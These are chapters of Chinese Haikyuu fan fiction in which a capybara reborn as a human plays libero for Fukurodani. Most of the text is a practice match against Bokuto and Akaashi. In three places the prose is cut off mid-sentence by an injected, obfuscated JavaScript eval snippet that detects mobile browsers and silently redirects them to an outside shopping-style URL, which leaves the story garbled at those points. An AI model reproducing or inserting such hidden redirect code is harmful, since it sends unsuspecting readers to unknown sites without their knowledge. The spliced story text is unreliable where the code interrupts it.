所以从那之后他就不把排球放在脑袋上顶了,也没有偷偷磨牙…… 总之一系列和人类惯有行为不符合的动作,他都尽量少干。 可去了一趟兵库县之后,越来越多的目光放在了他身上。 以前那种混迹在排球部边缘的生活肯定已经结束了,好在他也没那么需要警惕人类发现自己的水豚灵魂了——暗中观察一年多,他学会了很好地模仿人类。 只是还有些风险。 不过为此退出排球部也不至于……暂时就先这样吧,时刻警惕! …… 次日也是困困地起床,困困地上课,困困地去排球部。 池原光刚换好衣服,一股瓜果蔬菜的气味钻进鼻子。 他脚步顿住,顺着香味望去—— 木兔光太郎正哼哧哼哧地拎着鼓鼓囊囊的背包走进来,脸上带着一种混合了得意与期待的神气。 ——俨然是一只捕猎归来给予投喂的猫头鹰! “池原池原!”木兔光太郎跑过来。 他把背包放在地上,拉开拉链,展示里面满满当当的水果。 木兔:“看!” 池原:“嗯嗯!” 木兔:“想吃吗?” 池原:“嗯嗯!” 池原光忍不住伸出手去拿。 “诶!不过现在还不能拿哦!”木兔光太郎眼疾手快地把拉链往上提了提,只留下一条缝,“都给你吃!但是——” 他凑近了些,金褐色的眼睛闪闪发光,“你要陪我练发球,很多很多个!昨天那样可不够!” 池原光站在原地纠结,脑袋里冒出了两只水豚。 左边的水豚举着“接球很辛苦啊而且再这样下去极有可能被人类发现的!”的牌子,眼神严肃。右边的水豚则无辜地对着爪子,满脸都是“可是水果真的好好吃啊……”的表情。 两只虚拟水豚仅仅对峙了半秒钟—— 右边的水豚化身一拳超豚将左边的那只秒杀了。 池原光猛猛点头:“嗯……接球!” 听到肯定回答的木兔快乐地蹦起来,左手拖着水豚右手拖着球框,直奔球场。 …… 两个人的动作都毫不拖泥带水,训练进行地很快。 最后的那个球落地,池原光几乎是扑向那个敞开的背包,动作比刚才救球还利索。 他捞起一颗苹果,双手捧着啃啃。 木兔在旁边:“快吃!吃完继续!” 就在这时,一道平稳的声音插了进来。 “木兔前辈,你今天的训练菜单里,扣杀练习和力量训练还没有开始。” 赤苇京治适时地出现,“一直练习发球的话,其他环节的时间就不够了。” 见木兔面色犹豫,他立刻补充:“这些都是王牌的必修课。” “对哦……我是可以当面的王牌!”木兔光太郎拍拍胸膛。 “木兔前辈,那个词叫作独当一面。”赤苇京治纠正。 这下木兔能欣然接受,池原光就依依不舍了。 他小心翼翼捏着木兔的书包拉链,表情可怜兮兮的。 “那我、还能…吃吗?” “当然可以吃啦!”木兔光太郎大方地挥手。 但他立刻又想起自己的扣球大计划,他学着记忆中教练和赤苇督促他时的样子,努力让自己的表情显得有策略一些,“但是,池原要保证,明天、后天……嗯,以后很多天,都要继续接我的球才行!” 池原光高兴地和木兔贴贴:“我保证。” 在美味水果面前,摸鱼都不那么重要了。 这只豚俨然忘记了上学期和他划水的那些队友们,为了水果混入正选堆。 木兔光太郎叉腰大笑:“那你随便吃——!” 然而—— 赤苇京治的声音再次响起:“池原你也是,运动之前不要吃太多东西,更不能用水果来饱腹。昨天晚上就没吃饭吧?” 池原光啊了声,呆呆地撒手松开刚拿的小黄瓜。 他眼睛刚眨了眨,赤苇京治已经读懂了:“是的,必须要保持营养均衡。” 池原光萎靡地软下肩膀,屈下膝盖抱着书包,留恋地把脸贴上去。 他就是想吃这个嘛…… 你们这些需要吃肉才能活的杂食动物,哪里懂得纯净植物带来的幸福感! “……” “……” 他本来只是耍赖地抱着水果不起来,已经做好被拽走的准备了,结果半天都没动静。 水豚狐疑地抬头,正对上赤苇京治低垂的目光—— 绿色的眼眸像是小片的琥珀,温和又平静。 这样的目光让他骤然想起他真正的人类饲养员,总是看着他在泥坑里打滚却从不催促的样子。 池原光呆呆仰着头:“……” 一瞬间像是被神圣的温泉水笼罩了,连水果都抛之脑后。 身体比思考更快,等他回过神来,已经将额头抵在赤苇京治的腿侧。 就这样靠着睡觉吧……池原光舒服地闭上眼睛。 而赤苇京治感受到腿边依偎过来的重量,身体几不可察地僵了一瞬,随即放松下来。 他茫然眨了眨眸,但什么都没说。 只是默默地站得更稳了些,让他可以好好靠着。 …… 直到木兔光太郎精力过剩的大手按上池原光的头顶,宁静的氛围被打破。 “不能练发球的话……池原跟我去做扣杀训练吧!” “!” 呆毛被逆着方向揉得一塌糊涂! 池原光顿时从那种柔软的依赖感中被拽了出来,不满地眯起眼睛。 木兔是笨蛋人类,根本不会顺毛! 他刚想缩回赤苇身后,就感到腰间一紧—— 刚刚还温柔可靠的饲养员,此时尽职尽责地将他从腿边拉了过来,直接拦腰捞起。 “训练时间到了,偷懒是不行的。” 赤苇的声音依旧平稳,动作却带着毫不留情面。 ——尽管他能绷紧核心到池原光睡着,但训练是不可松懈的。 池原光只来得及用晃晃呆毛的方式抗议,就像只被捏住后颈皮的猫猫似的,被稳稳当当地放置在了球场中央。 水豚彻底呆滞: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189165|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 他竟然被饲养员抓到球场上去了! …… 扣杀训练在木兔光太郎的欢呼声开始。 被迫开始营业的水豚站在相同的球场上,感觉却很陌生。 几天之前,他还是谁都不认识的隐形人,现在怎么要和王牌一起训练了? 早知道在稻荷崎的时候,就不去接水喝了! 跟昨天的接发球不同,他今天主要是接木兔的扣杀球。 听起来很相似,实则天差地别。 扣杀是在呢绒网附近进行,要比发球留给他的时间更短,要求更高。 木兔光太郎还把赤苇京治拉上,专门给他传球。 而池原光这边没有拦网,他被木兔光太郎左边一球右边一球地调得满场跑,跟甩了根逗猫棒似的。 “……” 很快池原光就直接累瘫在地上,而木兔光太郎叉腰逗他。 “哈哈哈!已经被本王牌打倒了吧——!” “!” 木兔好坏! 池原光怒怒地……翻了个身。 然后他焉哒哒地抬起手:“我要……” “欸——是要拦网吗?”猿杙大和探头,积极自荐,“我可以帮忙哦,我超愿意的!” 喜欢看木兔吃瘪的木叶秋纪也说:“那算我一个吧。” 池原光这边的人数一下子多了起来。 正巧脚踝刚好的小见春树热身完毕,来凑热闹的时候被木兔光太郎逮住,再加上原本就在场的赤苇京治,两边都组成了三人小队。 木兔信心满满:“来吧!就让你们感受一下王牌的真正实力!” 这边三人毫无反应。 池原光面无表情。 木叶秋纪装没听到。 猿杙大和天生猫猫嘴。 小见春树则配合地给他鼓掌,捧读:“有木兔在,我们肯定会赢的——” 赤苇京治声音平平:“加油木兔前辈——” 注意到动静的暗路教练也站在了场边,和泷泽良文对视一眼,忍不住笑笑。 这群孩子啊……真是太懂事了。 每次他们两个想考察什么,还没说出口就被安排好了。 “鄙人认为已经可以了。”泷泽良文笑笑,“既然暗路教练你想看,那就拭目以待吧!” “这是必要的。”暗路建行喝了口茶,“也可以好好观察档案上说的问题。” 望向球场上被木叶秋纪拖到后排的池原光,他心里生出一丝忧愁。 昨天泷泽良文跟他打电话的时候,他心里就隐隐觉得不对劲。当他十几分钟之前,真正将池原的健康档案翻开的时候,也差不多印证了自己的猜想。 结合档案的内容来看,池原光就不如他原本预期地那样适合打排球了。 不过后续的情况暂时放到一边,先要看看他在这场队内赛能打到什么程度…… 这时候原本侧对着这边的浅金发少年,忽然转头瞥了这边一眼。 很快就又转过头去,慢吞吞调整护膝。 在暗路教练的怔愣中,两位经理也走到球场旁边,雀田薫拿出手机录像,白福雪绘则笑眯眯搬来了记分牌。 在暗路建行的掺杂着忧虑的期待中,充当临时裁判的队员吹响口哨。 “枭谷队内3v3,现在开始!” 9. chapter9 “枭谷队内3v3,现在开始!” 不是正规比赛,就省略了抛硬币的环节,直接由抱着球的赤苇京治抛球开场。 他给木兔光太郎托过太多次球,随手一抛就是木兔喜欢的高度与角度,看着球的轨迹,木兔光太郎“hey”了声,从后排起跳扣球。 熟悉他的猿杙大和和木叶秋纪同时跳起来伸手,选择封住直线球的路径。 在后排的池原光抬头。 水豚的视力不算好,躲避天敌依靠的是听觉与嗅觉。 在强烈的白炽灯下,他并不依赖于看清木兔光太郎手掌转动的细节,而是习惯性地捕捉球被击打时发出的独特声响,去嗅空气被涌动时带来的,属于木兔光太郎的澎湃气息。 浅金色的发尾轻晃,他无师自通地移向斜后方。 那是一种近乎本能的预判,仿佛球会自己告诉他落点。 球直直擦着猿杙大和的手掌边缘飞来。 “咚!” 触球的闷响在池原光的小臂上炸开。 即使预判到位,木兔扣球的力道依然让他手臂猛地沉下去。 好在球被他尽力引导,听话地反弹向空中。 “好接!”木叶秋纪喊道。 池原垫起的球正好飞来,木叶几乎不需要调整,站在原地顺势将球垫给猿杙大和,猿杙立刻扣向对面空档。 “啪!” 球触到木兔拦截的指尖,不规则地向后场高高飘去。 “小见!”木兔高喊。 “我来——!”小见春树连忙窜出去,赶在球落地之前把手臂垫过去,“抱歉,高了!” 赤苇京治仰头瞄准球的轨迹,一边飞快后撤,一边注意着对面三人的动向。 排球场地很宽,而对面只有3个人,注定存在大片的空档。 而最擅长接球的池原光位置在右侧后方,前面两人位置靠左…… 他绷紧指尖,把球托高,“木兔前辈!” 木兔光太郎扣球的动作简洁而有力,明明是简单的抬臂,却带着势不可挡的锐利感。 “砰——” 绕过拦网的快球,直冲向边线! 而池原光在他抬手的时候就向边线移动了些许,此时正好侧移把球接起来。 这家伙……好敏锐的预判,网对面的小见春树忍不住挑眉。 可刹那间的想法很快被他抛之脑后,迎面而来的是猿杙大和的扣杀。 “啪!” 小见春树稳稳弓步,这次的一传相当完美。 在球路很正的情况下,赤苇京治也多了做假动作的时间。 他作势要起跳吊球,在单手要拍到球的瞬间,改为双手并立,“右边!” “我在这里!”木兔从后排助跑。 “!” 被晃了一下的木叶秋纪和猿杙大和连忙起跳,努力伸直手臂。 可木兔更快,迅速来到网前的同时,挥臂的速度快得来不及用视线捕捉。 “砰!” 球在木叶和猿杙手臂完全合拢之前就强硬钻了过来。 池原光在后排,眯起眼睛。 两缕金发在他脸侧飘荡,像是小动物遇到天敌时的耳朵。 他仿佛可以听到球体破风而来的声音,以及它从小臂肌肉上掠过时的摩擦声,所有的动静交织成一条线,像是伏击的鹰类在振翅。 本来他已经向左移动,但是球撞到拦网人员的那个瞬间,他立刻改变方向。 右边是空的! 他快速扑过去,膝盖在地板上砸出闷响,他仰着头看被他救起来的球。 白炽灯的光洒下来,球旋转着攀高,很快又极速下坠。 ——快要落地了。 在他想用手撑住地面起身的时候,淡色阴影笼罩过来,一只手豁然出现在球下面。 “木叶!”尽力托起球的猿杙高喊。 “砰——!” 木叶秋纪把球扣在赤苇京治身后。 正在录视频的雀田微微一愣,白福雪绘翻过记分牌。 1:0 不管是比赛的选手还是围观的群众,大家不约而同沉默了一瞬,随即爆发出惊呼。 “这个球接得好神……” “我要是木兔我也急。” “池原好样的!但是注意不要把木兔打哭了!” 而被接住扣杀的木兔光太郎大力揉搓自己的脑袋,望着球的滚远的方向。 “怎么会这样!我明明扣得超完美的!!” 但当他抬头看向赤苇京治时,眼里却没有丝毫的沮丧。 反而那双金褐色的眼眸更加明亮了几分,如同吹响反击号角时亮起的火把。 ——这只猫头鹰又被点燃了。 赤苇京治将对刚才那个球的应对细节的思索暂时压在心里,全部的注意力都锁定在自家王牌身上。 他不需要多过分析,就能知道木兔前辈的扣球状态有多好。 这是由池原激起的斗志。 “下个球的方向要刁钻些才好,让他接不到!”木兔握拳。 微微愣神之后,赤苇京治认真点头:“我会给木兔前辈托出更好的球。” 而小见春树则刚从地板上爬起来,视线却牢牢锁在池原光身上。 仅仅是通过这个球,作为自由人的他就意识到—— 这个不知道哪钻出来的新人绝非水货。 木兔那记变向角度很大的扣球,竟被如此轻松地捕捉到轨迹…… 难道是巧合吗……? 小见春树没有立刻下定论,决定再多观察看看。 …… 轮到木叶秋纪发球。 小见春树平时没少陪他练,接他的发球已经到了炉火纯青的地步,稳健地弓腰把球接起来,再由赤苇京治托到木兔光太郎那边。 木兔气势汹汹地上前。 这次木兔的扣球终于被拦网兜住,可是球反弹的轨迹却没有控制好,直直坠向猿杙大和的脚边。 尽管池原光尽力冲过去了,但还是没有救起来。 1:1 “Don''t mind!Don''t mind!”猿杙连忙喊道。 木叶秋纪向池原伸出手:“抱歉,是我没拦好。” 池原光抬起手,轻轻拍了一下对方的掌心,像是在击掌。 想拽他起来的木叶秋纪:“……?” 看着池原一脸平静地自己爬起来,木叶默默收回手。 ……这家伙的脑回路大概就是这样吧。 拿到发球区的木兔光太郎弯腰把球捞起来,他昂首阔步地走向发球区,脸上挂着明亮又直率的得意笑容。 经过自家二传时,他故意碰了碰对方的肩膀:“赤苇!看我用发球拿下这一分!” 赤苇京治点头:“好的木兔前辈。” “嘿!” 得到回应的木兔更来劲了,他在发球线后站定,掂了掂球。 金褐色的眼眸终于锐利起来,扫过对面半场。 助跑后全力起跳,右臂挥出时带着清晰的破风声。 “砰——!” 一记毫不留情的大力跳发,球如炮弹般轰向池原光与木叶秋纪之间的区域。 速度极快,轨迹却是一条清晰笔直的线。 清晰的压迫感传来,让前排的木叶秋纪和猿杙大和忍不住绷直肩膀。 而池原光的神情则沉静得近乎凝固。 所有的感官都无线收缩,聚焦于发球线后的那个身影。 木兔挥臂的瞬间,巨大的击球声如同信号,他的身体在直觉的牵引下侧移。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189166|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 即便如此,球的速度依然快得惊人。 “咚!” 一声比之前更沉闷的撞击。 小臂传来清晰的痛麻感,球的旋转几乎要挣脱控制。 池原光努力稳住核心才让自己没倒地,球被他险而又险地垫起。 球划出的弧线又高又远,直奔三米线附近,虽然给了队友充足的调整时间,但也完全失去了组织快攻的可能。 “反击!” 木叶冲过去,立刻将球托给猿杙大和。 “给我!”猿杙起跳,面对赤苇与木兔的双人拦网,他挥臂重扣斜线。 球狠狠砸在木兔并拢的手臂上,高高反弹回后方。 “哦呼——再来!” 木兔显然是进入状态了,落地后立刻再次启动。 面对王牌的呼唤,赤苇反应极快,转身将球稳稳垫向网前,依旧是那个舒适的高度。 “hey!hey!hey!看我的!” 木兔的声音充满亢奋。他从后排冲来,全力起跳,这一次的腾空仿佛带着火光。 赤苇的传球如期而至。 木兔感到身体前所未有的轻盈,时间仿佛停滞了。 他在短暂的静止中俯瞰球场,绷紧的肌肉,重心的转移……所有细节尽收眼底! 拦网的木叶和猿杙拼命封堵线路。 而站在最后面的浅金发少年,已经退守到底线附近,微微伏低身体。 就是那里—— 木兔金褐色的眼眸如同被点燃的日光,炽热的温度直指空挡。 极度兴奋的情况下,王牌主攻手抓住了完美的时机。 他趁猿杙大和还没完全起跳,右臂全力挥下,一记直线球擦过木叶秋纪的手掌外侧,砸向了池原光防守的右后方死角! 哪怕是被拦网稍微减速,还是快得看不清球路。 池原光额前的金发被球风猛烈掀起,完整露出一双清澈的琥珀色眼瞳。 面对飞驰而来的排球中裹挟着的强烈攻击性,让水豚的危险警示音早就拉响。 身体却趋于本能地定在原地,重心不肯往落点奔袭。 “……” 这时—— 就在电光石火的瞬息,他似乎感知到木兔眼神中的情绪。 金褐色的眼眸里燃烧着毫不掩饰的挑战欲,充满野生巨禽般的危险气息。 但……却并不让人感到压迫或恐惧。 木兔像高悬于天穹的太阳,散发出的光芒炽烈坦荡,毫无阴霾。 笼罩过来的日光并不刺眼,释放的温度并不灼烧,只有明亮而又温暖的气息弥漫。 带着某种天真而蓬勃的生命力,奇异地令人心生亲近。 那是木兔光太郎啊…… 是他早在成为人类之前就触碰过掌心的人,是他选择来到枭谷的原因。 而他魂穿成人类之后,这只巨型猫头鹰也对他很好,还会投喂水果。 水豚时期的记忆和最近收获的相处记忆联通,冲击过来的球而带来的危险信号,却在水豚的直觉里被木兔光太郎带给他的善意与亲昵覆盖。那颗球在他眼里速度依然很快,但…… 危机感顷刻消减。 池原光轻轻弯了弯眼睛,身上的每一根线条都畅快起来。 他在木兔挥臂的刹那,直觉就已读懂了力量的指向,现在只需要跑过去! 能预判,不代表身体总能跟上。 但这个球,他跟上了。 手臂在最后一刻极限伸出。 “砰!” 沉重的撞击声响起,球砸在手背上,巨大的力量让他向侧后滚倒。 在失去平衡的视野里,他唯一能做的就是凭借触感,将手臂角度向上抬—— 球高高跃起,划出巨大的抛物线。 10. chapter10 球斜飞而出的瞬间。 弧线的指向竟然还是在二传手最舒服的位置,木叶有些恍惚地抬起手腕,把球托出去。配合猿杙大和打出精巧的快攻,得分! “爽爽爽!”猿杙大和跳起来。 木叶秋纪也瞅瞅自己的手:“这个二传当得太舒服了……” 一传把球喂到嘴里,自己托出去的球很容易转化成得分,轻松又有成就感! 而池原光慢吞吞伸出胳膊,等队友们拽他起来。 他望着网对面愣愣瞪大眼睛的猫头鹰王牌,眉心舒展。 刚才球袭来的瞬间,他对于木兔光太郎的感觉似乎更透彻了。 ——这个人类获得了他十足的信任。 即使是来自于动物的危机嗅觉依然存在,他以后在面对木兔时,也可以坦然地直视对方充满锐意的双眼,顺带摊开肚皮给他揉。 …… 与此同时,网对面的氛围可完全不相同。 连带木兔光太郎在内的三人,仿佛都被石化了似的。 木兔光太郎眨巴眨巴眼睛。 他不明白刚才那个球怎么忽然就被接到了。 明明在球出手的瞬间池原还呆呆站在原地,结果刹那间就气定神闲地飘向了落点。 ……他都要怀疑自己的扣球能力了! 除了百思不得其解的木兔,小见春树也紧紧盯着池原光。 或许其他人都在惊叹池原在这种情况下都能打出完美一传,但他的关注点在于—— 对方又接起了一个变向球。 刚才他绝对没看错,网对面的自由人又接起了一发擦网重球! 这种球的最大难度不在于球多重多快,而在于球路的改变。 自由人需要根据攻手的扣球动作来调整重心,基本上在球出手的瞬间就会把自己送出去。如果发生球在半途中产生变向的话,造成的结果就是失之毫厘差之千里。 但他就那么接住了…… 在木兔扣球的瞬间,池原重心是稍稍落到右腿处的,上半身也有倾斜。但在刹那间,他都没反应过来的时候,池原光忽然向侧后方挪了半步,飞身救球。 毫无疑问他在很短的时间里,判断出了那个球的落点变深了。 “……” 小见春树感觉自己的排球世界有些崩塌了。 这种怪物居然还跟他隔着网打球吗?直接入选国家队得了! 巨大的震惊感在冲击小见春树的大脑,不过他很快就稍稍镇定下来。 不是巧合的话……或许有什么接球的技巧。 等比赛结束一定要问问池原! 压下心里沸腾的探究欲,小见春树让自己专注于眼前的比赛。 而他带着强烈的震惊晕乎乎转头时,他看到赤苇京治平静的表情也有瞬间的裂缝。 相比于小见春树对于池原落点的震惊,赤苇更多是惊叹于他带来的威胁性。 那种球的处理方式,是有着顶级球感才能做到的。 如果这样的自由人在对面,自己应该怎样应对? 他要托出什么样的球,才能帮助木兔前辈完成可以得分的扣杀? 赤苇的大脑在欢呼声中飞速冷却并开始运转。 这种直来直去的硬扣对他效果不佳。 那么斜线球会不会好点? 打手出界呢? 他看了一眼身慢慢从场上爬起的池原光,摩挲了下被排球擦得火热的指尖。 看来,不仅仅是要托出更高的球,还要托出更聪明的球。 球再次到达他附近时,他利用木兔跑位的遮挡,瞬间出手。 球快得连即将扣球的王牌本人都没反应过来,但既然赤苇京治给出这样的球,那就是相信他能够接到—— 木兔光太郎踏步起跳,追着球扶摇直上。 小见春树在后排戒备着。 这球确实又快又难接住,他这么紧张的原因,是因为池原光给他留下的印象太深刻了。 虽然启动速度一般般,但落点判断太准,仿佛永远能站在最佳的接球位置。 动作也没有一丝多余,接球对他来说是那么轻巧。 好像他还没有使出全力,球只要砸在对面半场,就没有接不住的。 果然下个刹那间—— 视线追及之处,池原光跪地把球接起。 木叶把球托起来之后,猿杙大和的扣杀近在咫尺! 小见春树迅速上前,风从他的耳畔掠过。 他感觉自己的胸膛似乎冒出一股兴奋感,那是遇见旗鼓相当的对手时会产生的冲动。 他记得几个月之前,在春高赛场上碰到古森元也时,也是如出一辙的心情。 “啪!” 球在他手臂上反弹起来,完美地落向赤苇京治那边。 池原光是很厉害,可他也不差! 赤苇京治的球总能抵达最合适的位置,而木兔光太郎的攻击性完全爆发。 “hey!” 这一次是更高更快的超手扣球! 扣球的人是自己的队友,小见春树却不经意直起了腰,眼神直勾勾盯着池原。 这个球他要怎么应对? 只见池原光毫不犹豫地往右,快速横移到距离边线有一小段距离的地方,站定。 随即木兔势在必得的扣球如同被磁铁吸引了似的撞进他怀里。 池原光往后一仰,球反弹出去。 “好球!” “我传我传!” 在木叶秋纪的扣球声中,小见春树也不甘示弱地接下这次重扣,“一次触球!” 接完球之后,他都没看木兔是怎么起跳的,他只想看池原光怎么接。 刚才接的那个球,根本就跟开了挂似的…… 落点判断地分毫不差,那家伙恰好就站在那里,进一步退一步都会偏。 如果是自己的话,能做到这么准确吗? 这还真不好说……首先自己可能启动会更快些,但落点判断没这么准,横跨步之后肯定还需要调整。其次就是他还要观察队友的位置…… “小见!”木兔的喊声打断了他的思绪。 小见春树大脑在思考,但他也时刻注意着球场上的变化。 在木兔光太郎喊他之前,他就已经将重心压在左腿上,此时箭步上前接球。 “注意跑位!” 三人队内赛节奏更快,往往话还没喊完,球就又经过了一次传递。 眨眼间球又到了木兔光太郎的斜上方。 赤苇托出的这个球比平时更靠边线,木兔的助跑也冲向斜侧方,高高跃起。 “超级小斜线!!” 小见春树在确定木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189167|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔起跳完毕之后就急忙转移了视线,盯向池原光。 这家伙还站在木兔光太郎的直线上! 现在不同于标准的比赛,来得及拦网的也就猿杙和木叶两个人。 况且两个人的起跳速度都赶不上木兔,现在还没到达最高点,只封住了很小的空间。 这时候池原光往右.倾了倾! 虽然脚下没动作,但是这意味着他打算往右边去。 这意味着在还木兔还没扣的时候就已经预判好了,这样失误率很大吧? 而且如果是自己的话,肯定得等到确切的扣球动作产生,或者只能赌一把。 小见春树的心不自觉提起。 但是除了莫名的紧张感之外,更多的还是期盼和振奋。 再给他表演一次吧!可以接住折射球的能力! 可能是他的祈祷被排球之神听到了。 余光中木兔的挥臂已经完成,球在刹那间冲过去。而对面的拦网在最后时刻追上了木兔光太郎的高度,硬生生蹭到了球! 拦网人员的手指擦过球皮,但又几乎没有减速,只改变方向。 这种球是对后防线最大的考验。 来了! 小见春树屏气凝神地盯着。 “池原!” “漏过去了!” 还没落地的猿杙和木叶在空中大声提醒,而后排的自由人早已闻风而动。 小见春树觉得自己从没看得这么清楚过。 在拦网前的瞬间,池原光的上半身往前探。 下一刻球擦过拦网,他朝着原本的右边更往前的位置,扑过去! 伸出的手臂率先接触地板,稍微滑行一段距离,这时候球正好落在他手臂上! 小见春树:“……” 越看得仔细,他越觉得离谱。 哪怕是倒地把自己送出去的姿势,位置都卡得那么刚好…… 这家伙准得像是在球上装了定位器!而且是提前接收到接球信号那种! 自由人的作用在场上显露无意,这个球在网的两边各传递了好几回,最终还是由木叶秋纪发起二次进攻,扣在木兔光太郎面前。 再得一分! 论攻击性和配合,无疑是木兔这边更好。 但池原光以一己之力无限拉大了他那边的容错率,比分竟然持平。 场外的惊呼声此起彼伏,而小见春树还沉浸在巨大的不可置信中。 堪称神技啊堪称神技啊……! 除去“这家伙厉害得有些离谱了”的想法之外,他脑海里还惨杂了一些现实的东西。 一支球队的首发里只会有一位自由人。 而他现在的竞争对手就是这位异军突起的天才后辈。 “……” “……” 小见春树深深吸了口气,剧烈跳动的心脏渐渐平稳下去。 他不惧怕和任何人竞争,哪怕是展现出惊人天赋的池原光。 还是那句话——池原光很强,但他也并不差! 他站在木兔光太郎身后,继续往球场中心靠了靠。 看向在白炽灯下几乎是闪着光的浅金发,以及那双平静困倦的琥珀眸,小见春树俯低身体的动作像是野兽在蛰伏,等待着用矫健的姿态登场。 那也让你看看,我能接住什么样的球吧!